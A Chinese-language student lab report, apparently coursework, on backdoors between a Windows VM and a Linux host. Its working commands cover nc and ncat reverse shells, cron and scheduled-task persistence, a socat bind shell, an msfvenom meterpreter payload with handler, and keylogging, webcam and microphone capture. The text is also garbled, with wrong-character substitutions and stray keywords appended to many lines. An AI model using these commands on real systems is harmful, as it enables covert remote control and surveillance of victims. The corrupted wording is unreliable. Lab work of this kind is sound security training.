(1)使用nc实现win,Linux间的后门链接。 热身linux
(2)使用netcat获取主机操做Shell,cron启动。web
(3)使用socat获取主机操做Shell, 任务计划启动。shell
(4)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shellvim
(5)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权windows
(1)例举你能想到的一个后门进入到你系统中的可能方式?安全
在下载软件时,后门捆绑在下载的软件上,与软件一块儿安装进入了系统。tcp
(2)例举你知道的后门如何启动起来(win及linux)的方式?编辑器
windows:实验中作过的方式有直接双击开启后门程序、经过Windows->控制面板->管理工具启动任务计划程序、开机自启动的后门、和其余程序捆绑运行的后门程序等。
linux:经过在cron中添加任务,定时执行、经过一些脚本启动后门程序、经过和其余程序捆绑运行后门程序。工具
(3)Meterpreter有哪些给你映像深入的功能?网站
获取摄像头权限进行拍照;其实它的全部功能都使人印象深入和惧怕。
(4)如何发现本身有系统有没有被安装后门?
杀毒软件吧;监控是否有进程异常,数据流异常以及开机自启动项。
准备工做:因为不想用本身电脑的Windows,我就安装了一个Windows系统的虚拟机;在Windows虚拟机上安装netcat和socat。
1.获取Windows和Linux的IP
(1)在Windows下,先使用ipconfig指令查看本机;在Linux下,使用ifconfig指令查看地址。
Windows的IP:192.168.219.131 ;Linux:192.168.219.128
2.使用ncat,使Windows得到Linux操做shell
(1)win中使用ncat监听4314端口:ncat.exe -l -p 4314
(2)在Linux终端窗口使用 nc 192.168.219.131 4314 -e /bin/sh
命令去链接Win的4314端口
结果:Windows成功得到Linux操做shell,可以进行操做。
3.Linux得到Windows shell
(1)在Linux中监听4314端口:nc -l -p 4314
(2)在Windows输入指令 ncat.exe -e cmd.exe 192.168.219.128 4314 反弹链接Linux的4314端口(指令中的ip地址需为Linux ip)
结果:虚拟机(Linux)成功得到本机(Windows)操做shell,可以执行Windows中的命令。
4.使用nc传输数据
netcat根据课上所学简单来说,就是利用TCP、UDP链接进行基本的数据收发,在两台主机之间传输字符文件之类的,因此咱们在这里尝试用它在win和linux之间作一个后门。
双向传输字符串:
5.以定时任务cron的形式启动netcat获取主机操做Shell
(1)先在Windows系统下,监听4318端口:
(2)在Linux终端输入 crontab -e,选择3,也就是基本的vim编辑器;
(3)vim编辑器中用 i 改成插入模式,在最后一行插入17 13 24 3 * /bin/netcat 192.168.219.131 4314 -e /bin/sh ,意思是在3月24号的13点17分反向链接Windows本机的4314
端口,就会启动cron
。
(4)当时间到了13点17分时,此时已经得到了shell,能够输入指令。
(1)在Windows系统下,打开控制面板->管理工具->任务计划程序,建立任务,填写任务名称后,新建一个触发器:
(2)在操做->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4314 exec:cmd.exe,pty,stderr,这个命令的做用是把cmd.exe绑定到端口4314
,同时把cmd.exe的stderr重定向到stdout上;(此处应有图,但我找不到了·······)
(3)建立完成以后,再次打开时,能够发现以前建立的任务已经开始运行了;
(4)此时,在Linux下输入指令 socat - tcp:192.168.219.131 4314 ,这里的第一个参数-表明标准的输入输出,第二个流链接到Windows主机的4314端口,此时能够发现已经成功得到了一个cmd shell
(1)输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.219.128 LPORT=4314 -f exe > 20164314——backdoor.exe 生成后门程序:
(2)经过nc指令将生成的后门程序传送到Windows主机上:(在作这一步以前先将本机的杀毒软件和防火墙关闭!)
(3)在Linux上使用 msfconsole 指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
use exploit/multi/handler:进入handler模式
set payload windows/meterpreter/reverse_tcp:设置payload
set LHOST 192.168.174.129:设置LHOST
set LPORT 4318:设置LPORT
exploit:MSF开始监听
(4)设置完成后,执行监听;
(5)打开Windows上的后门程序;
(6)此时Linux上已经得到了Windows的链接,而且获得了远程控制的shell:(此处忘记截图了····)
(1)使用 record_mic 指令能够截获一段音频;
(2)使用 screenshot 指令能够进行截屏;
(3)使用 webcam_snap 指令可使用摄像头进行录像;
(4)使用 keyscan_start 指令能够记录下击键的过程;
(5)使用 keyscan_dump 指令能够读取击键的记录
4.实验感想
此次实验让我收获良多,首先我知道了后门的原理而且进行了简单的实践,掌握了使用nc实现Windows和Linux之间的后门链接,其次我学会了meterpreter的使用,还掌握了MSF POST模块的简单使用。此次实验让我意识到了保护本身电脑主机的重要性,防火墙和杀毒软件并不是至关可靠,从此不能轻易点开陌生人发的连接,不浏览不安全的网站,努力培养信息安全意识,提高自身信息安全方面的素养。